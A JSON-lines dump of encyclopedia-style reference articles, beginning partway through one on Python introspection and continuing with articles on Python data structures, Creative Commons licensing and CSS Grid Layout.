`&lowbar;&lowbar;repr&lowbar;&lowbar;`, `&lowbar;&lowbar;doc&lowbar;&lowbar;`, and `&lowbar;&lowbar;self&lowbar;&lowbar;`. We briefly describe these: \n\n    + `&lowbar;&lowbar;name&lowbar;&lowbar;`: Original name of the class, function or method.\n    + `&lowbar;&lowbar;qualname&lowbar;&lowbar;`: Qualified name of the class function or method. This is often useful where class/function/method definitions are nested.\n    + `&lowbar;&lowbar;doc&lowbar;&lowbar;`: Documentation string, which can also be retrieved by calling built-in function `help()`.\n    + `&lowbar;&lowbar;self&lowbar;&lowbar;`: Instance to which a method is bound.\n\n### Could you describe Python's inspect module?\n\nPython module `inspect` provides many functions to enable introspection. The module documentation notes that it provides four main kinds of services: \"type checking, getting source code, inspecting classes and functions, and examining the interpreter stack.\" \n\nInspect documentation has full details. We note some functions: \n\n    + **Checking types**: `ismodule()`, `isclass()`, `ismethod()`, `isfunction()`, `isgenerator()`, `isabstract()`, `isbuiltin()`, `isawaitable()`, and many more.\n    + **Inspecting objects**: `getmembers()` is quite useful. For example, `inspect.getmembers(mycar, inspect.ismethod)` will return only methods of the instance `mycar`. Function `getfullargspec()` returns names and default values of a function. These can be nicely formatted using `formatargspec()`. Callables can be inspected using `signature()`. Class definitions relevant here are `Signature`, `Parameter` and `BoundArguments`.\n    + **Retrieving source code**: `getdoc()`, `getcomments()`, `getfile()`, `getmodule()`, `getsourcefile()`, `getsourcelines()`, `getsource()`, and `cleandoc()`.\n    + **Examining the stack**: `getframeinfo()`, `getouterframes()`, `getinnerframes()`, `currentframe()`, `stack()` and `trace()`.\n\n### How can I obtain the current runtime context in Python?\n\nThe Python interpreter maintains a **stack of frames**. The bottom-most frame is called the global frame or module frame. When a function is called, a new frame is created and pushed to the stack. When that function returns, the frame is popped off the stack. \n\nPython's `inspect` module provides many functions to inspect the interpreter stack. Function `currentframe()` returns a frame object representing the current frame. More information about the frame object can be obtained by calling `getframeinfo()`, which returns a named tuple `Traceback(filename, lineno, function, code_context, index)`. \n\nTo obtain the entire stack, call `stack()` instead. To inspect the call graph, we can use `getouterframes()`. When an exception is raised and later handled in an outer frame, we can use `trace()` or `getinnerframes()`. These can be useful for logging and debugging. \n\nApart from inspecting the stack, two built-in functions help us inspect variable scope. These are `globals()` and `locals()`. At the module level, both functions return the same dictionary. \n\n\n### How can I inspect class hierarchy in Python?\n\nClass hierarchy can easily be inspected by accessing the class attribute `&lowbar;&lowbar;bases&lowbar;&lowbar;` and recursively printing the class names up the hierarchy. If an instance is being inspected, we can first get to its class via the `&lowbar;&lowbar;class&lowbar;&lowbar;` attribute and then process the `&lowbar;&lowbar;bases&lowbar;&lowbar;` attribute. In the figure, we show an example of how this can be done. \n\nThe method `inspect.getclasstree()` from `inspect` module is an alternative. Given a list of classes, it returns the class hierarchy. For every class, its base classes are returned as a tuple. \n\nAnother useful method is `inspect.getmro()` to which a class name must be passed as an argument. This is equivalent to calling the built-in class method `mro()`. Either way, these don't return the inheritance hierarchy but they do tell us the order in which methods are looked up the hierarchy. \n\n\n### What are some specialized modules for Python introspection?\n\nPython processes source code in three steps: (i) parsing, where it tokenizes the source code and produces an Abstract Syntax Tree (AST); (ii) compiling, where it transforms the AST into Python bytecode; (iii) interpreting, where the Python Virtual Machine (VM) interprets and executes the bytecode. In this context, there are two Python modules that help with introspection: `ast` to inspect the AST, and `dis` to inspect the bytecode. \n\nWhile `inspect` module has functions to inspect the call stack, `sys` module also has functions that can help with debugging recursive calls: `_getframe()`, `getrecursionlimit()` and `setrecursionlimit()`. \n\nSupport we decorate the function `foo()`. Accessing `foo.&lowbar;&lowbar;name&lowbar;&lowbar;` will return the name of the function returned by the decorator. This is probably not what we want. We can solve this with the `wraps()` function from the `functools` module. The figure shows an example how to use this. An alternative is to use `inspect.signature()` function. \n\n\n### Could you share some tips on using Python's introspection features?\n\nWhile `type()` and `isinstance()` could be useful, code that rely on them are hard to maintain. We might be checking for specific types but when another type must be handled, we need to update the code. Instead, Python programmers prefer the approach of *duck typing*. \n\nWith duck typing, we don't care about an object's type. Instead, we focus on the interfaces the object exposes. In this approach, `hasattr()` can be useful though this method can cause problems in Python 2 when called on a property attribute. \n\nAn alternative to `hasattr()` is to simply call a method or access a data attribute without doing any checks. If it doesn't exist, we should handle the exception. Another alternative is to use an Abstract Base Class (ABC) from the `collections.abc` module. \n\n## Milestones\n\nJan  \n1994\n\nPython 1.0 is released. \n\nApr  \n2001\n\nPython 2.1 is released. This release introduces the `inspect` module. \n\nSep  \n2012\n\nPython 3.3 is released. Via PEP 3155, this release adds **qualified name** attribute `&lowbar;&lowbar;qualname&lowbar;&lowbar;` to classes and functions. This enhances introspection for nested classes and functions. Via PEP 362, function `inspect.signature()` is introduced for **inspecting callables** including decorated functions, classes and partial function objects. In January 2013, PEP 362 is backported by community developers to older versions of Python, in a package named `funcsigs`. \n\nSep  \n2015\n\nPython 3.5 is released. Via PEP 492, Python gets better support for **asynchronous programming**. As part of this enhancement, `inspect` module includes many functions to inspect coroutine functions and coroutine objects. The module's functions `stack()`, `trace()`, `getouterframes()`, and `getinnerframes()` now return named tuples. `Signature` and `Parameter` objects can be pickled and hashed.","meta":{"title":"Introspection in Python","href":"introspection-in-python"}}
{"text":"# Python Data Structures\n\n## Summary\n\n\nAmong the basic data types and structures in Python are the following: \n\n* Logical: `bool`\n* Numeric: `int`, `float`, `complex`\n* Sequence: `list`, `tuple`, `range`\n* Text Sequence: `str`\n* Binary Sequence: `bytes`, `bytearray`, `memoryview`\n* Map: `dict`\n* Set: `set`, `frozenset`\n\nAll of the above are classes from which object instances can be created. In addition to the above, more data types/structures are available in modules that come as part of any default Python installation: `collections`, `heapq`, `array`, `enum`, etc. Extra numeric types are available from modules `numbers`, `decimals` and `fractions`. The built-in function `type()` allows us to obtain the type of any object.\n\n## Discussion\n\n### With respect to data types, what are the differences between Python2 and Python3?\n\nThe following are important differences: \n\n    + A division such as `5 / 2` returns integer value 2 in Python2 due to truncation. In Python3, this will evaluate to float value 2.5 even when the input values are only integers.\n    + In Python2, strings were ASCII. To use Unicode, one had to use the `unicode` type by creating them with a prefix: `name = u'Saṃsāra'`. In Python3, `str` type is Unicode by default.\n    + Python2 has `int` and `long` types but both these are integrated in Python3 as `int`. Integers can be as large as system memory allows.\n\n### What data structures in Python are immutable and mutable?\n\n*Mutable* objects are those that can be changed after they are created, such as updating/adding/removing an element in a `list`. It can be said that mutable objects are changed in place. \n\n*Immutable* objects can't be changed in place after they are created. Among the immutable basic data types/structures are `bool`, `int`, `float`, `complex`, `str`, `tuple`, `range`, `frozenset`, and `bytes`. \n\nThe mutable counterparts of `frozenset` and `bytes` are `set` and `bytearray` respectively. Among the other mutable data structures are `list` and `dict`. \n\nWith immutable objects it may seem like we can modify their values by assignment. What actually happens is that a new immutable object is created and then assigned to the existing variable. This can be verified by checking the ID (using `id()` function) of the variable before and after assignment. \n\n\n### What data structures in Python are suited to handle binary data?\n\nThe core built-in types for manipulating binary data are `bytes` and `bytearray`. They are supported by `memoryview`, which uses the buffer protocol to access the memory of other binary objects without needing to make a copy. \n\nThe `array` module supports efficient storage of basic data types like 32-bit integers and IEEE754 double-precision floating values. Characters, integers and floats can be stored `array` types, which gives low-level access to the bytes that store the data. \n\n\n### What containers and sequences are available in Python?\n\n*Containers* are data structures that contain one or more objects. In Python, a container object can contain objects of different types. For that matter, a container can contain other containers at any depth. Containers may also be called *collections*. \n\nSequences are containers that have inherent ordering among their items. For example, a string such as `str = \"hello world\"` is a sequence of Unicode characters h, e, l, etc. Note that there is no character data type in Python, and the expression \"h\" is actually a 1-character string.\n\nSequences support two main operations (eg. sequence variable `seq`):\n\n    + **Indexing**: Access a particular element: `seq[0]` (first element), `seq[-1]` (last element).\n    + **Slicing**: Access a subset of elements with syntax seq[start:stop:step]: `seq[0::2]` (alternate elements), `seq[0:3]` (first three elements), `seq[-3:]` (last three elements). Note that the stop point is not included in the result.Among the basic sequence types are `list`, `tuple`, `range`, `str`, `bytes` `bytearray` and `memoryview`. Conversely, `dict`, `set` and `frozenset` are simply containers in which elements don't have any particular order. More containers are part of `collections` module. \n\n\n### How can I construct some common containers?\n\nThe following examples are self-explanatory: \n\n    + str: `a = ''` (empty), `a = \"\"` (empty), `a = 'Hello'`\n    + bytes: `a = b''` (empty), `a = b\"\"` (empty), `a = b'Hello'`\n    + list: `a = list()` (empty), `a = []` (empty), `a = [1, 2, 3]`\n    + tuple: `a = tuple()` (empty), `a = (1,)` (single item), `a = (1, 2, 3)`, `a = 1, 2, 3`\n    + set: `a = set()` (empty), `a = {1, 2, 3}`\n    + dict: `a = dict()` (empty), `a = {}` (empty), `a = {1:2, 2:4, 3:9}`We can construct `bytearray` from `bytes` and `frozenset` from `set` using their respective built-in functions.\n\n\n### What are iterables and iterators?\n\nAn *iterable* is a container that can be processed element by element. For sequences, elements are processed in the order they are stored. For non-sequences, elements are processed in some arbitrary order.\n\nFormally, any object that implements the *iterator protocol* is an iterable. The iterator protocol is defined by two special methods, `&lowbar;&lowbar;iter&lowbar;&lowbar;()` and `&lowbar;&lowbar;next&lowbar;&lowbar;()`. Calling `iter()` on an iterable returns what is called an *iterator*. Calling `next()` on an iterator gives us the next element of the iterable. Thus, iterators help us process the iterable element by element.\n\nWhen we use loops or comprehensions in Python, iterators are used under the hood. Programmers don't need to call `iter()` or `next()` explicitly. \n\n\n### Can I convert from one data type to another?\n\nYes, provided they are compatible. Here are some examples: \n\n    + `int('3')` will convert from string to integer\n    + `int(3.4)` will truncate float to integer\n    + `bool(0)` and `bool([])` will both return `False`\n    + `ord('A')` will return the equivalent Unicode code point as an integer value\n    + `chr(65)` will return the equivalent Unicode string of one character\n    + `bin(100)`, `oct(100)` and `hex(100)` will return string representations in their respective bases\n    + `int('45', 16)` and `int('0x45', 16)` will convert from hexadecimal to decimal\n    + `tuple([1, 2, 3])` will convert from list to tuple\n    + `list('hello')` will split the string into a list of 1-character strings\n    + `set([1, 1, 2, 3])` will remove duplicates in the list to give a set\n    + `dict([(1,2), (2,4), (3,9)])` will construct a dictionary from the given list of tuples\n    + `list({1:2, 2:4, 3:9})` will return a list based on the dictionary keys.\n\n### Should I use a list or a tuple?\n\nTuples are used to pass arguments and return results from functions. This is because they can contain multiple elements and are immutable. Tuples are also good for storing closely related data. For example, (x, y, z) coordinates or (r, g, b) colour components can be stored as tuples. Use lists instead if values can change during the lifetime of the object.\n\nAlthough lists can contain heterogeneous items, tuples are more commonly used for this purpose. Tuples group together items that belong together even if their types are different. A database record containing a student's details can be stored in a tuple. \n\nIf a sequence is to be sorted, use a list for in-place sorting. A tuple can be used but it should return a new sorted object. A tuple cannot be sorted in-place.\n\nFor better code readability, elements of a tuple can be named. For this purpose, use `collections.namedtuple` class. This allows us to access the elements via their names rather than tuple indices.\n\nIt's possible to convert between lists and tuples using functions `list()` and `tuple()`.\n\n\n### When should I use set and dict?\n\nSets and dictionaries have no order. However, from Python 3.7, the order in which items are inserted into a dict is preserved. From Python 3.8, we can iterate through a dict in reverse order. \n\nSets store unique items. Duplicates are discarded. Dictionaries can contain duplicate values but keys must be unique. Since dict keys are unique, often dict is used for counting. For example, to count the number of occurrences of each word in a document, words can be keys and counts can be values. \n\nSets are suited for finding the intersection/union of two groups, such as finding those who live in a neighbourhood (set 1) and/or also own a car (set 2). Other set operations are also possible.\n\nStrings, lists and tuples can take only integers as indices due to their ordered nature but dictionaries can be indexed by strings as well. In general, dictionaries can be indexed by any of the built-in immutable types, which are considered *hashable*. Thus, dictionaries are suited for key-value pairs such as mapping country names (keys) to their capitals (values). But if capitals are the more common input to your algorithm, use them as keys instead.\n\n\n### How can I implement a linked list in Python?\n\n*Linked list* is a collection of nodes connected by links or pointers. A *node* is single data point in the linked list. It not only holds the data, but also has a pointer to the next node in a single-linked list. Thus, the definition of a node is recursive. For a double-linked list, the node holds two pointers, one to the previous node and one to the next node. A linked list can be designed to be ordered or unordered. \n\nThe head of the linked list must be accessible. This allows us to traverse the entire list and perform all possible operations. A double-linked list might also expose the tail for traversal from the end.\n\nWhile a `Node` class may be enough to implement a linked list, it's common to encapsulate the head pointer and all operations within `LinkedList` class. Operations on the linked lists are methods of the class. One possible implementation is given by Downey. A `DoubleLinkedList` can be a derived class from `LinkedList` with the addition of a tail pointer and associated methods.\n\n## Milestones\n\n2001\n\nIterators are introduced into the language for looping through containers. \n\n2001\n\nTypes `int` and `long` are unified into a single type. \n\n2001\n\nDivision operator is changed to have three variants: classic division (truncation), true division, floor division (using // operator). \n\n2009\n\nPython's creator Guido van Rossum relates the early history of Python with respect to numbers. Implementation used machine integers and machine binary floating point. He explains that `int` were treated as signed normally but were unsigned in bitwise operations; but `long` were always signed and this caused problems. The `int` type could also overflow and raise an exception. Today integers are unbounded. \n\nJun  \n2018\n\nPython data model is changed such that the insertion order of items into a `dict` is preserved. In October 2019, with the release of Python 3.8, `dict` can be iterated in reverse using built-in function `reversed()`.","meta":{"title":"Python Data Structures","href":"python-data-structures"}}
{"text":"# Creative Commons\n\n## Summary\n\n\nWorks such as a photograph, a digital artwork, an essay, etc. are automatically protected by copyright. Anyone who wants to use these works have to ask the copyright owner for permission. This is not ideal for a creator who wishes to share his or her own works more openly. This is the problem that the **Creative Commons** organization aims to address with its licenses. \n\nThere are different types of CC licenses giving users different levels of openness. In essence, these licenses are legal tools to give users *permission in advance* to share and use the works. While copyrights state \"all rights reserved\", CC licenses state \"some rights reserved\". Ultimately, CC is a framework that fosters openness and changes the way we share, collaborate, remix and reuse content.\n\n## Discussion\n\n### What's the case for Creative Commons licensing?\n\nCopyright law can be traced back to the sixth century, but it was only in 1710 that it became an act of Parliament (in Great Britain) through the Statute of Anne, also known as the Copyright Act 1710. This law granted creators the right to protect their works and set the terms in which their works may be used by others. Initially for books, it was later applied to translations, maps, paintings, photographs, motion pictures and computer programs. \n\nCopyright is automatic. This becomes a problem in a connected world. It went against Internet's culture of sharing and collaboration. Creators who had no problems with others using their works, had no way to tell people about their intentions. Users who wished to reuse the open works of others had no legal framework to do so. There was therefore a need for an open license. \n\nIn the late 1990s, the GNU GPL license was available but it was tailored for software. It wasn't suited for cultural works. Moreover, for cultural works, one required a range of options to give creators the choice of licensing. \n\n\n### Which popular platforms have adopted Creative Commons licensing?\n\nFlickr, Wikipedia, YouTube and Vimeo are some popular adopters of CC licensing. Among research communities, PLOS is a big adopter. Within Springer Nature, on the bioRxiv preprint server, most articles use CC licensing. Blogging platform Medium adopted CC licensing back in 2015. \n\nThe Free Software Foundation (FSF) recommends the use of CC0 for releasing any work into public domain. The White House website uses CC licensing. In 2015, Europeana had about 8 million cultural objects using a CC license and another 9 million using Public Domain Mark. \n\nWikimedia commons allows the use of CC0, CC-BY and CC-BY-SA. \n\n\n### Isn't the Creative Commons legal jargon intimidating for common users?\n\nWhile it's true that the legal language is often difficult to understand for common users, there's an alternative version that offers a simplified explanation of the licenses. While the legal code is the actual license, its sufficient for users to read the simpler version. Called **Commons Deed**, it's the \"human-readable\" version of the licenses. \n\nThere's also a third layer that makes it easier for search engines and other software tools to identify works that are using CC licenses. Such information is embedded into web pages, not visible on the pages for people but can be parsed by search engines. Creative Commons website illustrates one approach to adding metadata wherever CC-licensed is reused. It uses Dublin Core to do this.\n\n\n### What are the different Creative Commons licenses available for use?\n\nThere are six different CC licenses: CC BY, CC BY-SA, CC BY-NC, CC BY-ND, CC BY-NC-SA, CC BY-NC-ND. \n\nAll six licenses permit copying and publishing of the works. BY implies that **attribution** to the original author is required. Attribution is mandatory in all CC licenses. Anything marked with NC implies only **non-commercial** use is allowed. Anything marked with ND implies **no derivative** use: you cannot modify or adapt the original work. Anything marked with SA implies **share alike**, meaning that derived works must be released under the same license as the original work. \n\nFrom the above understanding, we can say that CC BY is most open and CC BY-NC-ND is least open. CC BY-NC-ND is still better than a copyright since the work in its original form can be shared or reused non-commercially with attribution. \n\nIn 2014, it was seen that one-third of CC licenses in use was CC BY, 76% allowed remixing and 58% allowed commercial use. \n\n\n### What's CC0? How's it different from works in public domain?\n\nCC0 allows creators to place their work as nearly as possible into public domain. \n\nWhen a copyright expires, the work comes into public domain. Creative Commons has defined a symbol to indicate this with its **Public Domain Mark (PDM)**, in addition to another symbol that indicates **CC0**. CC0 is useful when the copyright has not expired but the copyright owner willingly gives up the rights so that others can freely reuse the work. CC0 gives maximum freedom, to reuse or adapt, even commercially, without attribution. \n\nIn 2015, Flickr started allowing users to share their works under CC0 or PDM. SpaceX released its images under CC0. Europeana had 26,000 images under CC0 plus 3.6 million works under PDM. \n\n\n### Are there guidelines to use and attribute works with CC licenses?\n\nAttribution should include the original author's name, title of the work, a hyperlink that points to the page where the work was obtained, the type of license used and a link pointing to the license. For example, if the work is an image, this attribution may be place immediately below the image or as an endnote on the same page. Since version 4.0, attributions may be on a separate page that's hyperlinked from the place of reuse. \n\nVersion 2.0 clarified three conditions for linkback. Linking back must be practical; that is, licensee can't be faulted for failing to link to a dead page. Licensor must provide a valid linkback URL. This URL must point to the correct CC licensing terms and not misdirect users to unrelated sites. \n\nVersion 3.0 relaxed the title requirement but added the requirement to link back to source. It also stated that if you adapt or modify the work, this must be noted. \n\nHere's an example attribution: \"Creative Commons 10th Birthday Celebration San Francisco\" by tvol is licensed under CC BY 2.0. \n\n\n### Are CC licenses an alternative to copyrights?\n\nCC licenses are not alternatives to copyrights. A work must be copyrighted in order to be licensed under CC. Only the copyright owner can place the work under a CC license, or authorize someone to do so. Creative Commons licenses expire when the underlying copyright and similar rights expire. \n\nCC licenses are non-exclusive: the copyright owner can enter into separate agreements as well. CC licenses are non-revocable: even if the copyright owner revokes the CC license, all those already reusing the work will continue to do so under the original terms. The fact that CC licenses are irrevocable is seen by some as a limitation. It doesn't give licensors an option to change their mind later. \n\nCC licenses don't limit rights granted through statutory exceptions, including fair use. \n\n\n### What are some criticisms of Creative Commons and its licenses?\n\nWith CC licenses, even small modifications can be treated as an adaptation and the person doing it can take credit for it. However, in a 2012 lawsuit, the U.S. copyright law was applied. It considered the work as non-derivative since there were no major additions or deletions. \n\nIn 2014, Yahoo! announced plans to sell prints of photos on Flickr. Owners of copyrighted photos would get a revenue share but those who had used CC BY license would get nothing. Licensors have no protection against who or how their works will be used in the future. In a similar case, Apple Academic Press republished and sold open access research articles. \n\nThough not limited to CC-licensed work, plagiarism is a problem. You could reuse a work based on its stated CC license, but the original work might still be under copyright. For example, a person who doesn't own the image uploads it to Flickr and licenses it as CC BY. This is in fact a copyright infringement. \n\nThere's also criticism that Creative Commons as an organization offers no protection. You're on your own if things go wrong. \n\n\n### If I wish to adopt Creative Commons licensing, what resources are available?\n\nCreative Commons website is a good place to start. The CC blog is a place to follow news and tips about CC licensing. The CC FAQ is a useful reference. To get connected with the CC community, join the CC Global Affiliate Network, one of their mailing lists or Slack channels. There's also the annual CC Global Summit for discussions, workshops and community building.\n\nTo help find works licensed under Creative Commons, there's the official CC Search. Additionally, there are plenty of other search services. Examples include Free Music Archive, Let's CC, Internet Archive, 500px Creative Commons, and Project Gutenberg. \n\n\n### How is the Creative Commons organization structured?\n\nCreative Commons is a network of staff, board, emeritus, advisory council, audit committee, and affiliates around the world. \n\nThe **Creative Commons Global Affiliate Network** includes over 500 volunteers and community members who serve as CC representatives in over 85 countries. In 2017, a new strategy was formed. The new network is built on individuals rather than teams that depend on organizations. Organizations can also be part of it as partners. The network is not a separate legal entity and is supported by CC HQ. The network comprises of local chapters, each having an elected representative and a public lead or coordinator. Governance is via the **Global Network Council** with one representation from each chapter plus three from CC HQ.\n\nFinally, all activities are carried out within **Platforms**, or areas of work. Some of these include Arts & culture, Open access, Open data, Technology, Open science, etc. \n\n## Milestones\n\n1998\n\nThe Copyright Term Extension Act (CTEA) in the U.S extends copyright terms by another 20 years. This creates problems for Eric Eldred who was planning to publish works that were about to come into public domain. Together with Lawrence Lessig, a professor at Harvard Law School, they challenge the Act. They eventually lose the case in 2003. \n\n2001\n\nInspired by Elred's idea to make works freely available on the Internet, Lawrence Lessig creates **Creative Commons**. \n\nDec  \n2002\n\nThe first version Creative Commons licenses is published. \n\nMay  \n2004\n\nVersion 2.0 of CC licenses is released. Attribution is treated as a standard practice and must link back to licensor's work. The use of CC licenses to music is clarified. \n\nFeb  \n2007\n\nVersion 3.0 of CC licenses is released. This clarifies aspects of internationalization. The term **unported license** is used to refer to licenses not adapted to local jurisdictions. Compatibility structure is included so that users know what license to use based on source licenses. \n\nMar  \n2009\n\nTo enable creators to surrender the copyright and database rights to their work, and place them as nearly as possible in public domain, **CC0** is created. It's universal and can be used in any jurisdiction. It's not exactly a license but a legal tool. It's the \"no rights reserved\" alternative to CC licenses. \n\nMay  \n2009\n\nWikimedia Foundation votes to move all its content from GNU Free Documentation License (GFDL) to Creative Commons Attribution Share-Alike 3.0 (CC BY-SA 3.0) license. GFDL is suited for software documentation and it requires that full license text be included. Comparatively, CC BY-SA 3.0 is easier to use with only a link to the license. \n\nNov  \n2013\n\nVersion 4.0 of CC licenses is released. This offers global licenses that can be used without \"porting\". This effort to internationalize the licenses started in December 2011. Attribution is allowed via a link to a separate page. A licensor may request removal of attribution if so desired. Any licensing breach can be corrected within 30 days. \n\nOct  \n2014\n\nPorted licenses are available for 60 countries. For example, India has ported CC license v2.5 as its latest; China has v3.0. With v4.0, ported licenses are largely redundant. \n\n2017\n\nThe number of works licensed under CC has grown from 50 million in 2006 to 1.47 billion in 2017. In 2017, the CC Search tool gets 1.5 million queries and the CC website gets 50 million visitors.","meta":{"title":"Creative Commons","href":"creative-commons"}}
{"text":"# CSS Grid Layout\n\n## Summary\n\n\nWhen displaying content on a webpage, there's often a need to layout the content in a particular way. For example, we may want the header and footer sections to span the entire width of the viewport while the main content be organized as a three-column layout. Header section itself may be divided into a fixed-width logo section to the left and a flexible-width title section to the right. \n\nCSS Grid Layout is a standard that gives user interface designers a powerful system to implement layouts with ease. It's part of the CSS3 specification standardized by W3C.\n\nIt's meant to complement and not replace earlier systems such as CSS Flexbox.\n\n## Discussion\n\n### Why should I adopt CSS Grid when there's already CSS Flexbox?\n\nTraditionally, layout was done using HTML tables. Then came CSS properties `display`, `float` and `position` that allowed us to control the layout. While these are still relevant, Flexbox came along to provide an easier way to distribute space and align content. \n\nThe limitation with Flexbox is that it does layout only in one direction. Thus, items can be laid out horizontally but not vertically at the same time. Even if the items were to wrap across multiple lines, items on each line will not be aligned to those on other lines. Via nesting, Flexbox can be used to create two-dimensional layouts but CSS Grid is easier to use. \n\nCSS Grid is capable of aligning items both horizontally and vertically. Interestingly, items within the grid can also overlap, which neither Flexbox nor a HTML table element is capable of doing. \n\nCSS Grid doesn't replace Flexbox. Grid items can be flex parents and vice versa. \n\n\n### Which are the key building blocks of CSS Grid?\n\nCSS Grid has the following parts:  \n\n    + **Container**: This is the element that contains the grid within it. It's defined by CSS `display: grid`.\n    + **Item**: Immediate child elements of a container are grid items. Grandchildren and further nested elements are not considered as grid items.\n    + **Line**: A grid is split into rows and columns using grid lines. Lines also define the container's borders. Lines are numbered, starting from 1. Thus, a grid of m rows will have m+1 horizontal lines; of n columns will have n+1 vertical lines.\n    + **Track**: A grid track is a generic term for a grid row or column. It's the space between two adjacent grid lines.\n    + **Cell**: This is an intersection of a row and a column. It's the smallest unit of the grid that can be referenced.\n    + **Area**: This consists of one or more adjacent grid cells.\n\n### What are the different ways of specifying width in CSS Grid?\n\nGrid items, rows and columns can be sized **explicitly** using CSS properties `grid-template-rows` and `grid-template-columns`. For example, `grid-template-columns: 90px 50px 120px` defines three columns with exact sizes. \n\nWhat if we had five items but only two columns are defined? The extra three grid items will be sized **implicitly**. If `grid-auto-flow: column`, we'll end up with five columns. If `grid-auto-flow: row`, we'll end up with three rows with the last row having only one item. \n\nFor explicit sizes we can use `px`, `em`, `%`, etc. Fractional sizes (`fr`) can also be used. Thus, `grid-template-columns: 1fr 2fr` will make two columns, with the second one twice as wide as the first. While `px` specifies **fixed** sizes, `fr` specifies **flexible** sizes. Fractional sizes are calculated based on remaining space after other length values have been processed. For example, given `grid-template-columns: 3rem 25% 1fr 2fr`, the calculation would be `1fr = ((gridwidth) - (3rem) - (25% of gridwidth)) / 3`. The value `auto` will stretch grid item to fill remaining space. \n\n\n### How do I control the alignment of content in CSS Grid?\n\nA grid item can be aligned within its cell or area using CSS property `justify-self` for horizontal alignment and `align-self` for vertical alignment. These effectively adjust margins for the items. Each of these properties can take values start, end, center, or stretch.  \n\nWhat if we wish to apply the same alignment to all grid items? This is done by specifying CSS properties at the container level. Use `justify-items` for horizontal alignment and `align-items` for vertical alignment. As a shortcut, there's also `place-items` that specifies alignment in both directions. \n\nWhat if all the grid's tracks take up a space smaller the container? Then `justify-content` and `align-content` becomes useful not just for alignment but also for adding spaces in the right places to fill the container. These effectively adjust padding for the container. Some allowed values include normal, start, end, center, stretch, space-around, space-between, space-evenly, baseline, first baseline, and last baseline. \n\nAlignment works for both inline and block elements. \n\n\n### What are named areas and where are they useful?\n\nWe can make an item span multiple columns using `grid-column-start`, `grid-column-end`, `grid-row-start`, and `grid-row-end`. Shortcuts for these are `grid-column` and `grid-row`. For example, `grid-column: 3 / span 2` says that item will start from third column and span two columns. \n\n**Grid areas** offer a simpler way to avoid using grid line numbers. Areas can be only rectangles. Areas are named for easy referencing. Gaps can exist between areas but not between cells within an area. Gaps themselves can be set using `grid-row-gap` and `grid-column-gap`, with `grid-gap` as a shorthand to set both. Grid gaps are also called *gutters*. \n\nWithin HTML elements, use CSS property `grid-area` to name the target area. This tells exactly in which area this content must be placed. The mapping of grid cells to grid areas is done using the `grid-template-areas` property. For a responsive design, we could use media queries to switch between different definitions of template areas without duplicating the content.  \n\n\n### When there's nested grids, what's the use of subgrids?\n\nConsider the use of grids to lay out cards. With nested grids, each card has an inner grid that's used to organize card title, an image and a description. Layout of contents in the inner grid is independent of the outer grid. Moreover, one card is not aware of alignment of contents in another card. This means that if some card titles run into multiple lines, subsequent content within the inner grid will not be aligned across cards (the outer grid). \n\nSubgrid solves this problem. A subgrid defers the definition of its rows and columns to its parent grid container. Content of the subgrid influence the sizing and alignment of its parent container. \n\nA subgrid can be created with `{ display:grid; grid-template-columns:subgrid; grid-template-rows:subgrid; }`. It's possible to create rows-only or columns-only subgrid. Within the subgrid, we may not want extra spacing between rows. This is achieved with `row-gap:0`. \n\n\n### Could you share additional technical details on CSS Grid?\n\nIt's interesting to note that grid line numbers can be negative. Value -1 refers to last line; value -2 is last but one line; and so on. Also, fractional widths can be floating point numbers. \n\nWith fractional units, available space is filled up but it still obeys the minimum size of container or the content within. Sizes are not calculated upfront. Only after content is placed into grid items, the sizes of grid tracks are calculated. \n\nBy default, grid items will be stretched to fit the grid area. Avoid using percentages in paddings or margins on grid items. Number of rows and columns can be defined using `grid-template-areas`, `grid-template-rows` and `grid-template-columns`. If there's conflict, the larger number will be used. \n\nDon't assume you need breakpoints, for example, to reflow content with varying number of columns. Sizing with only percentages will not help you exercise the full power and flexibility of CSS Grid. CSS Grid is simple enough to be used directly. Don't look for a grid framework. \n\n\n### What are some resources for beginners to learn CSS Grid?\n\nFrom the many online resources to learn CSS Grid, we mention a few: A Complete Grid Guide by CSS-Tricks, Rachel Andrew's Grid by Example and Layout Lab by Jen Simmons.\n\nAn interactive CSS Grid cheatsheet from Ali Alaa is handy.\n\nFor debugging CSS Grid, there are browser add-ons that developers can use. Firefox DevTools comes with Grid Inspector to inspect the grid and show line numbers and grid area names. \n\nMost browsers support CSS Grid, including partial support from IE11. See Can I Use to see current support.\n\n## Milestones\n\n1940\n\nThe Swiss formalize the use of grids as a design tool. They see grids as bringing order to a design layout. \n\n1996\n\nFrame-based layout via stylesheets is proposed. \n\nDec  \n2005\n\n**CSS3 Advanced Layout Module** is proposed. By April 2009, this becomes **CSS Template Layout Module**. The idea of CSS Grid Layout closely follows from these early drafts. However, these early proposals are not adopted by browser makers. \n\nJul  \n2009\n\nW3C publishes a working draft of **CSS Flexible Box Layout** or Flexbox. After multiple revisions, first Candidate Recommendation of Flexbox is released in September 2012. \n\nApr  \n2011\n\nMicrosoft needs a flexible layout tool for the web and native app development on Windows. With some inspiration from Silverlight, Microsoft ships IE10 with an implementation of a grid layout behind `-ms-` vendor prefix. This is followed with a W3C working draft of **CSS Grid Layout**. Thus, for the first time W3C gets a draft along with a working implementation.  \n\nAug  \n2011\n\nAfter many months of internal development, Twitter open sources **Bootstrap**. It's a CSS framework that enables easier creation of layouts based on a 12-column grid. CSS Grid provides a more flexible layout since designers need not start with 12 columns. \n\nMay  \n2017\n\nW3C publishes **CSS Grid Layout Module Level 1** as a Candidate Recommendation. This is also the year when many major browsers start supporting CSS Grid. \n\nFeb  \n2018\n\nW3C publishes the first working draft of **CSS Grid Layout Module Level 2**. Level 2 adds subgrid capabilities and allows nested grids to participate in the sizing of parent grids. It also adds aspect-ratio-controlled gutters. In December 2019, Firefox becomes the first browser to implement subgrids and continues to be the only browser even in December 2020.","meta":{"title":"CSS Grid Layout","href":"css-grid-layout"}}
